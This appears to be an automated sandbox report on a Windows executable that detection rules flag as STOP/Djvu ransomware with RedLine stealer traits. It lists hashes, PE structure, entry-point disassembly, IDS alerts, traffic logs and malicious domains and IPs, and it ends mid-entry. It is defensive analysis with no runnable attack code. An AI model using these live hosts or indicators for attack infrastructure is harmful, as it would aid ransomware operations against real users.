Preview:	1,"fu..`.......).Y...LiC.U\|}..O.W....6y.`!...D.!M...n).*t..y=....D$.N.....o.2.#.>O..j...U...[i~.X&.J.Ns.D><.....=0+.....g..`..pr.[.N...:\0f........t..Cw....;.m+.k.....x....,........l...F....,..%.c.x...@..n..O..Q}...n.c6%..y.A.s5RtS...i(o.Zq..^../:..w..<N~.d<..>.&NK6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.904357034984543
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	U59WtZz2Sg.exe
File size:	680448
MD5:	41001fdd7879ce9ede214e92c7e492be
SHA1:	215964b0399da37b41b7f420806a72feb72a7c28
SHA256:	aaef58ede9edbfc0cbbdd3dc7abfa9ae0f977ed1b33af4f5d7665123187801d1
SHA512:	1d125890b19e323fd3a67b3b2575c97df72f4f8b7f13d5e1d3e010063b88cc40a6f55d25513ada752992434f0b1d350152798381d43cb2ec591020c85eec44d9
SSDEEP:	12288:Q2lMqUe8G9qSkYuZpeKF8GJF6y9NbgGUx0kXZPwtSRGG/t6i5l5kCYlS:Q2K98cT3d9V3U/XZPwYRGQ6i5l5k5l
TLSH:	CEE423217A90D073C887557079228662773F757328FE8C87BF5198E51EB22C67A1A38F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q.'.5.I.5.I.5.I.....4.I.+...$.I.+...].I..]2.2.I.5.H...I.+.....I.+...4.I.+...4.I.Rich5.I.................PE..L.....Ib...........

File Icon


Icon Hash:	d4b4b0e0e0eaf0c0

Static PE Info

General

Entrypoint:	0x404c97
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x6249E282 [Sun Apr 3 18:08:02 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	2ac0f7085258eff31142b9f87cb0f218

Entrypoint Preview

Instruction
call 00007F3200A3565Ch
jmp 00007F3200A2F83Dh
sub eax, 000003A4h
je 00007F3200A2F9E4h
sub eax, 04h
je 00007F3200A2F9D9h
sub eax, 0Dh
je 00007F3200A2F9CEh
dec eax
je 00007F3200A2F9C5h
xor eax, eax
ret
mov eax, 00000404h
ret
mov eax, 00000412h
ret
mov eax, 00000804h
ret
mov eax, 00000411h
ret
mov edi, edi
push esi
push edi
mov esi, eax
push 00000101h
xor edi, edi
lea eax, dword ptr [esi+1Ch]
push edi
push eax
call 00007F3200A30BCEh
xor eax, eax
movzx ecx, ax
mov eax, ecx
mov dword ptr [esi+04h], edi
mov dword ptr [esi+08h], edi
mov dword ptr [esi+0Ch], edi
shl ecx, 10h
or eax, ecx
lea edi, dword ptr [esi+10h]
stosd
stosd
stosd
mov ecx, 004A33A8h
add esp, 0Ch
lea eax, dword ptr [esi+1Ch]
sub ecx, esi
mov edi, 00000101h
mov dl, byte ptr [ecx+eax]
mov byte ptr [eax], dl
inc eax
dec edi
jne 00007F3200A2F9B9h
lea eax, dword ptr [esi+0000011Dh]
mov esi, 00000100h
mov dl, byte ptr [eax+ecx]
mov byte ptr [eax], dl
inc eax
dec esi
jne 00007F3200A2F9B9h
pop edi
pop esi
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0000051Ch
mov eax, dword ptr [004A3FB0h]
xor eax, ebp
mov dword ptr [ebp-04h], eax
push ebx
push edi
lea eax, dword ptr [ebp-00000518h]
push eax
push dword ptr [esi+04h]
call dword ptr [00401170h]
mov edi, 00000100h

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[C++] VS2008 build 21022
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x10a9c	0x50	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xd8000	0x3050	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1280	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2cd8	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x23c	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x107d4	0x10800	False	0.5117039535984849	data	6.09735691865179	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x12000	0xc5c68	0x92400	False	0.9938334668803419	data	7.994721199860208	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xd8000	0x3050	0x3200	False	0.629140625	data	5.666597605339273	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
JEBOPOZUSUHARAFA	0xda430	0x55f	ASCII text, with very long lines (1375), with no line terminators	Raeto-Romance	Switzerland
RT_ICON	0xd82b0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Raeto-Romance	Switzerland
RT_ICON	0xd8978	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Raeto-Romance	Switzerland
RT_ICON	0xd8ee0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Raeto-Romance	Switzerland
RT_ICON	0xd9f88	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Raeto-Romance	Switzerland
RT_STRING	0xdab78	0x2d8	data	Raeto-Romance	Switzerland
RT_STRING	0xdae50	0x1fc	data	Raeto-Romance	Switzerland
RT_ACCELERATOR	0xda990	0xa0	data	Raeto-Romance	Switzerland
RT_GROUP_ICON	0xda3f0	0x3e	data	Raeto-Romance	Switzerland
RT_VERSION	0xdaa30	0x148	x86 executable not stripped

Imports

DLL	Import
KERNEL32.dll	OpenMutexW, GetConsoleAliasExesLengthA, CopyFileExA, ReadConsoleOutputCharacterW, CompareStringW, SetVolumeLabelA, FillConsoleOutputAttribute, GetConsoleTitleA, QueryDosDeviceW, EnumCalendarInfoExA, GetProcessPriorityBoost, IsProcessInJob, AddConsoleAliasW, CreateFileW, SetMailslotInfo, GetWindowsDirectoryW, GetModuleHandleA, GlobalLock, CreateDirectoryExW, GetLogicalDriveStringsA, ReadConsoleInputA, FindNextVolumeMountPointW, OpenWaitableTimerA, GetVersionExA, SearchPathA, MoveFileExW, CallNamedPipeW, GetCurrentDirectoryW, GetDriveTypeA, CreateMailslotA, BuildCommDCBAndTimeoutsA, GetProcAddress, LoadLibraryA, LocalAlloc, GetBinaryTypeA, GetCPInfoExW, WriteConsoleOutputA, GetCommandLineA, EnumDateFormatsW, CancelTimerQueueTimer, GetHandleInformation, FindResourceA, CreateJobObjectA, FindFirstVolumeA, GlobalFlags, CreateNamedPipeW, InterlockedIncrement, CloseHandle, CopyFileW, GetComputerNameExA, GetShortPathNameA, FlushFileBuffers, GetLogicalDriveStringsW, InterlockedCompareExchange, EnumCalendarInfoW, GetConsoleAliasExesLengthW, InterlockedExchange, GetNamedPipeHandleStateW, GetModuleHandleW, GetCurrentActCtx, GenerateConsoleCtrlEvent, MoveFileW, AddAtomA, SetThreadPriority, FreeEnvironmentStringsW, SetConsoleTitleW, SetVolumeMountPointW, VirtualAlloc, _hread, EnumResourceLanguagesW, ClearCommBreak, QueryMemoryResourceNotification, GlobalFindAtomA, HeapWalk, SetFilePointer, GetTickCount, EnumSystemCodePagesW, VerifyVersionInfoA, LoadLibraryW, CreateFileA, GetLastError, WideCharToMultiByte, HeapReAlloc, HeapAlloc, HeapFree, UnhandledExceptionFilter, SetUnhandledExceptionFilter, DeleteFileA, GetStartupInfoA, GetCPInfo, InterlockedDecrement, GetACP, GetOEMCP, IsValidCodePage, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, GetCurrentThreadId, TerminateProcess, GetCurrentProcess, IsDebuggerPresent, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, HeapCreate, VirtualFree, Sleep, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, FreeEnvironmentStringsA, GetEnvironmentStrings, GetEnvironmentStringsW, SetHandleCount, GetFileType, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, LCMapStringA, MultiByteToWideChar, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, SetStdHandle, GetConsoleCP, GetConsoleMode, RtlUnwind, InitializeCriticalSectionAndSpinCount, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, HeapSize, ReadFile
GDI32.dll	GetCharWidthA, GetCharABCWidthsA
WINHTTP.dll	WinHttpSetOption

Possible Origin

Language of compilation system	Country where language is spoken	Map
Raeto-Romance	Switzerland

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
222.236.49.123192.168.2.580497042036335 11/30/22-00:22:18.131398	TCP	2036335	ET TROJAN Win32/Filecoder.STOP Variant Public Key Download	80	49704	222.236.49.123	192.168.2.5
192.168.2.5222.236.49.12349706802036333 11/30/22-00:22:26.085731	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49706	80	192.168.2.5	222.236.49.123
192.168.2.58.8.8.851441532023883 11/30/22-00:22:16.657289	UDP	2023883	ET DNS Query to a *.top domain - Likely Hostile	51441	53	192.168.2.5	8.8.8.8
192.168.2.5222.236.49.12349706802020826 11/30/22-00:22:26.085731	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49706	80	192.168.2.5	222.236.49.123
192.168.2.5116.121.62.23749705802020826 11/30/22-00:22:17.137850	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49705	80	192.168.2.5	116.121.62.237
192.168.2.5116.121.62.23749705802036333 11/30/22-00:22:17.137850	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49705	80	192.168.2.5	116.121.62.237

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 30, 2022 00:22:09.435889959 CET	49702	443	192.168.2.5	162.0.217.254
Nov 30, 2022 00:22:09.435945988 CET	443	49702	162.0.217.254	192.168.2.5
Nov 30, 2022 00:22:09.436464071 CET	49702	443	192.168.2.5	162.0.217.254
Nov 30, 2022 00:22:09.469263077 CET	49702	443	192.168.2.5	162.0.217.254
Nov 30, 2022 00:22:09.469322920 CET	443	49702	162.0.217.254	192.168.2.5
Nov 30, 2022 00:22:09.546952009 CET	443	49702	162.0.217.254	192.168.2.5
Nov 30, 2022 00:22:09.547126055 CET	49702	443	192.168.2.5	162.0.217.254
Nov 30, 2022 00:22:09.898497105 CET	49702	443	192.168.2.5	162.0.217.254
Nov 30, 2022 00:22:09.898566008 CET	443	49702	162.0.217.254	192.168.2.5
Nov 30, 2022 00:22:09.899504900 CET	443	49702	162.0.217.254	192.168.2.5
Nov 30, 2022 00:22:09.899597883 CET	49702	443	192.168.2.5	162.0.217.254
Nov 30, 2022 00:22:09.902540922 CET	49702	443	192.168.2.5	162.0.217.254
Nov 30, 2022 00:22:09.902566910 CET	443	49702	162.0.217.254	192.168.2.5
Nov 30, 2022 00:22:09.943552017 CET	443	49702	162.0.217.254	192.168.2.5
Nov 30, 2022 00:22:09.943653107 CET	443	49702	162.0.217.254	192.168.2.5
Nov 30, 2022 00:22:09.943658113 CET	49702	443	192.168.2.5	162.0.217.254
Nov 30, 2022 00:22:09.943805933 CET	49702	443	192.168.2.5	162.0.217.254
Nov 30, 2022 00:22:10.054886103 CET	49702	443	192.168.2.5	162.0.217.254
Nov 30, 2022 00:22:10.054929018 CET	443	49702	162.0.217.254	192.168.2.5
Nov 30, 2022 00:22:16.200620890 CET	49703	443	192.168.2.5	162.0.217.254
Nov 30, 2022 00:22:16.200680017 CET	443	49703	162.0.217.254	192.168.2.5
Nov 30, 2022 00:22:16.200789928 CET	49703	443	192.168.2.5	162.0.217.254
Nov 30, 2022 00:22:16.245260000 CET	49703	443	192.168.2.5	162.0.217.254
Nov 30, 2022 00:22:16.245289087 CET	443	49703	162.0.217.254	192.168.2.5
Nov 30, 2022 00:22:16.312412024 CET	443	49703	162.0.217.254	192.168.2.5
Nov 30, 2022 00:22:16.312542915 CET	49703	443	192.168.2.5	162.0.217.254
Nov 30, 2022 00:22:16.346792936 CET	49703	443	192.168.2.5	162.0.217.254
Nov 30, 2022 00:22:16.346860886 CET	443	49703	162.0.217.254	192.168.2.5
Nov 30, 2022 00:22:16.347371101 CET	443	49703	162.0.217.254	192.168.2.5
Nov 30, 2022 00:22:16.347579002 CET	49703	443	192.168.2.5	162.0.217.254
Nov 30, 2022 00:22:16.350308895 CET	49703	443	192.168.2.5	162.0.217.254
Nov 30, 2022 00:22:16.350330114 CET	443	49703	162.0.217.254	192.168.2.5
Nov 30, 2022 00:22:16.396068096 CET	443	49703	162.0.217.254	192.168.2.5
Nov 30, 2022 00:22:16.396161079 CET	443	49703	162.0.217.254	192.168.2.5
Nov 30, 2022 00:22:16.396238089 CET	49703	443	192.168.2.5	162.0.217.254
Nov 30, 2022 00:22:16.455621004 CET	49703	443	192.168.2.5	162.0.217.254
Nov 30, 2022 00:22:16.455662966 CET	443	49703	162.0.217.254	192.168.2.5
Nov 30, 2022 00:22:16.704987049 CET	49704	80	192.168.2.5	222.236.49.123
Nov 30, 2022 00:22:16.841957092 CET	49705	80	192.168.2.5	116.121.62.237
Nov 30, 2022 00:22:16.997359991 CET	80	49704	222.236.49.123	192.168.2.5
Nov 30, 2022 00:22:16.997529984 CET	49704	80	192.168.2.5	222.236.49.123
Nov 30, 2022 00:22:17.013473988 CET	49704	80	192.168.2.5	222.236.49.123
Nov 30, 2022 00:22:17.136807919 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:17.137012005 CET	49705	80	192.168.2.5	116.121.62.237
Nov 30, 2022 00:22:17.137850046 CET	49705	80	192.168.2.5	116.121.62.237
Nov 30, 2022 00:22:17.506212950 CET	80	49704	222.236.49.123	192.168.2.5
Nov 30, 2022 00:22:17.635873079 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:18.131397963 CET	80	49704	222.236.49.123	192.168.2.5
Nov 30, 2022 00:22:18.131433964 CET	80	49704	222.236.49.123	192.168.2.5
Nov 30, 2022 00:22:18.131561995 CET	49704	80	192.168.2.5	222.236.49.123
Nov 30, 2022 00:22:18.131875038 CET	49704	80	192.168.2.5	222.236.49.123
Nov 30, 2022 00:22:18.425659895 CET	80	49704	222.236.49.123	192.168.2.5
Nov 30, 2022 00:22:18.428991079 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:18.429039001 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:18.429260015 CET	49705	80	192.168.2.5	116.121.62.237
Nov 30, 2022 00:22:18.725884914 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:18.725986004 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:18.726016998 CET	49705	80	192.168.2.5	116.121.62.237
Nov 30, 2022 00:22:18.726057053 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:18.726106882 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:18.726135015 CET	49705	80	192.168.2.5	116.121.62.237
Nov 30, 2022 00:22:18.726202011 CET	49705	80	192.168.2.5	116.121.62.237
Nov 30, 2022 00:22:18.726202011 CET	49705	80	192.168.2.5	116.121.62.237
Nov 30, 2022 00:22:19.020948887 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:19.021039009 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:19.021250963 CET	49705	80	192.168.2.5	116.121.62.237
Nov 30, 2022 00:22:19.021750927 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:19.021878004 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:19.021920919 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:19.021985054 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:19.021986008 CET	49705	80	192.168.2.5	116.121.62.237
Nov 30, 2022 00:22:19.022032976 CET	49705	80	192.168.2.5	116.121.62.237
Nov 30, 2022 00:22:19.022056103 CET	49705	80	192.168.2.5	116.121.62.237
Nov 30, 2022 00:22:19.022083998 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:19.022130966 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:19.022201061 CET	49705	80	192.168.2.5	116.121.62.237
Nov 30, 2022 00:22:19.316337109 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:19.316379070 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:19.316396952 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:19.316416025 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:19.316667080 CET	49705	80	192.168.2.5	116.121.62.237
Nov 30, 2022 00:22:19.316667080 CET	49705	80	192.168.2.5	116.121.62.237
Nov 30, 2022 00:22:19.316993952 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:19.317049980 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:19.317094088 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:19.317120075 CET	49705	80	192.168.2.5	116.121.62.237
Nov 30, 2022 00:22:19.317167997 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:19.317214966 CET	49705	80	192.168.2.5	116.121.62.237
Nov 30, 2022 00:22:19.317276001 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:19.317364931 CET	49705	80	192.168.2.5	116.121.62.237
Nov 30, 2022 00:22:19.317444086 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:19.317487955 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:19.317508936 CET	49705	80	192.168.2.5	116.121.62.237
Nov 30, 2022 00:22:19.317549944 CET	49705	80	192.168.2.5	116.121.62.237
Nov 30, 2022 00:22:19.317610025 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:19.317665100 CET	49705	80	192.168.2.5	116.121.62.237
Nov 30, 2022 00:22:19.317768097 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:19.317805052 CET	80	49705	116.121.62.237	192.168.2.5
Nov 30, 2022 00:22:19.317894936 CET	49705	80	192.168.2.5	116.121.62.237
Nov 30, 2022 00:22:19.612457991 CET	80	49705	116.121.62.237	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 30, 2022 00:22:09.378216028 CET	61893	53	192.168.2.5	8.8.8.8
Nov 30, 2022 00:22:09.401011944 CET	53	61893	8.8.8.8	192.168.2.5
Nov 30, 2022 00:22:16.162992954 CET	60649	53	192.168.2.5	8.8.8.8
Nov 30, 2022 00:22:16.184927940 CET	53	60649	8.8.8.8	192.168.2.5
Nov 30, 2022 00:22:16.657289028 CET	51441	53	192.168.2.5	8.8.8.8
Nov 30, 2022 00:22:16.671861887 CET	49177	53	192.168.2.5	8.8.8.8
Nov 30, 2022 00:22:16.689538002 CET	53	49177	8.8.8.8	192.168.2.5
Nov 30, 2022 00:22:16.839822054 CET	53	51441	8.8.8.8	192.168.2.5
Nov 30, 2022 00:22:30.252228975 CET	49724	53	192.168.2.5	8.8.8.8
Nov 30, 2022 00:22:30.271348953 CET	53	49724	8.8.8.8	192.168.2.5
Nov 30, 2022 00:22:30.948734999 CET	61452	53	192.168.2.5	8.8.8.8
Nov 30, 2022 00:22:30.970451117 CET	53	61452	8.8.8.8	192.168.2.5
Nov 30, 2022 00:22:34.384795904 CET	65323	53	192.168.2.5	8.8.8.8
Nov 30, 2022 00:22:34.407268047 CET	53	65323	8.8.8.8	192.168.2.5
Nov 30, 2022 00:22:41.460248947 CET	51484	53	192.168.2.5	8.8.8.8
Nov 30, 2022 00:22:41.477461100 CET	53	51484	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 30, 2022 00:22:09.378216028 CET	192.168.2.5	8.8.8.8	0xe9d1	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:16.162992954 CET	192.168.2.5	8.8.8.8	0xa0fd	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:16.657289028 CET	192.168.2.5	8.8.8.8	0xf43	Standard query (0)	uaery.top	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:16.671861887 CET	192.168.2.5	8.8.8.8	0x31ae	Standard query (0)	fresherlights.com	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:30.252228975 CET	192.168.2.5	8.8.8.8	0xcf1c	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:30.948734999 CET	192.168.2.5	8.8.8.8	0x49a3	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:34.384795904 CET	192.168.2.5	8.8.8.8	0xcd11	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:41.460248947 CET	192.168.2.5	8.8.8.8	0x5cf6	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 30, 2022 00:22:09.401011944 CET	8.8.8.8	192.168.2.5	0xe9d1	No error (0)	api.2ip.ua	162.0.217.254	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:16.184927940 CET	8.8.8.8	192.168.2.5	0xa0fd	No error (0)	api.2ip.ua	162.0.217.254	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:16.689538002 CET	8.8.8.8	192.168.2.5	0x31ae	No error (0)	fresherlights.com	222.236.49.123	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:16.689538002 CET	8.8.8.8	192.168.2.5	0x31ae	No error (0)	fresherlights.com	46.195.100.42	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:16.689538002 CET	8.8.8.8	192.168.2.5	0x31ae	No error (0)	fresherlights.com	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:16.689538002 CET	8.8.8.8	192.168.2.5	0x31ae	No error (0)	fresherlights.com	190.140.74.43	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:16.689538002 CET	8.8.8.8	192.168.2.5	0x31ae	No error (0)	fresherlights.com	211.53.230.67	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:16.689538002 CET	8.8.8.8	192.168.2.5	0x31ae	No error (0)	fresherlights.com	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:16.689538002 CET	8.8.8.8	192.168.2.5	0x31ae	No error (0)	fresherlights.com	190.147.188.50	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:16.689538002 CET	8.8.8.8	192.168.2.5	0x31ae	No error (0)	fresherlights.com	210.182.29.70	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:16.689538002 CET	8.8.8.8	192.168.2.5	0x31ae	No error (0)	fresherlights.com	195.158.3.162	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:16.689538002 CET	8.8.8.8	192.168.2.5	0x31ae	No error (0)	fresherlights.com	211.119.84.112	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:16.839822054 CET	8.8.8.8	192.168.2.5	0xf43	No error (0)	uaery.top	116.121.62.237	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:16.839822054 CET	8.8.8.8	192.168.2.5	0xf43	No error (0)	uaery.top	175.119.10.231	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:16.839822054 CET	8.8.8.8	192.168.2.5	0xf43	No error (0)	uaery.top	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:16.839822054 CET	8.8.8.8	192.168.2.5	0xf43	No error (0)	uaery.top	190.117.75.91	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:16.839822054 CET	8.8.8.8	192.168.2.5	0xf43	No error (0)	uaery.top	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:16.839822054 CET	8.8.8.8	192.168.2.5	0xf43	No error (0)	uaery.top	190.219.54.242	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:16.839822054 CET	8.8.8.8	192.168.2.5	0xf43	No error (0)	uaery.top	181.94.48.228	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:16.839822054 CET	8.8.8.8	192.168.2.5	0xf43	No error (0)	uaery.top	222.236.49.124	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:16.839822054 CET	8.8.8.8	192.168.2.5	0xf43	No error (0)	uaery.top	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:16.839822054 CET	8.8.8.8	192.168.2.5	0xf43	No error (0)	uaery.top	195.158.3.162	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:30.271348953 CET	8.8.8.8	192.168.2.5	0xcf1c	No error (0)	t.me	149.154.167.99	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:30.970451117 CET	8.8.8.8	192.168.2.5	0x49a3	No error (0)	api.2ip.ua	162.0.217.254	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:34.407268047 CET	8.8.8.8	192.168.2.5	0xcd11	No error (0)	api.2ip.ua	162.0.217.254	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:22:41.477461100 CET	8.8.8.8	192.168.2.5	0x5cf6	No error (0)	api.2ip.ua	162.0.217.254	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.2ip.ua

t.me

fresherlights.com

uaery.top

88.198.94.71

Target ID:	0
Start time:	00:22:04
Start date:	30/11/2022
Path:	C:\Users\user\Desktop\U59WtZz2Sg.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\U59WtZz2Sg.exe
Imagebase:	0x400000
File size:	680448 bytes
MD5 hash:	41001FDD7879CE9EDE214E92C7E492BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000000.00000002.305141359.0000000002220000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000000.00000002.305141359.0000000002220000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.304747895.000000000218B000.00000040.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Analysis Process: U59WtZz2Sg.exePID: 3692, Parent PID: 5228

General

Target ID:	1
Start time:	00:22:07
Start date:	30/11/2022
Path:	C:\Users\user\Desktop\U59WtZz2Sg.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\U59WtZz2Sg.exe
Imagebase:	0x400000
File size:	680448 bytes
MD5 hash:	41001FDD7879CE9EDE214E92C7E492BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000001.00000000.303569533.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000001.00000000.303569533.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000001.00000000.303569533.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000001.00000000.303569533.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 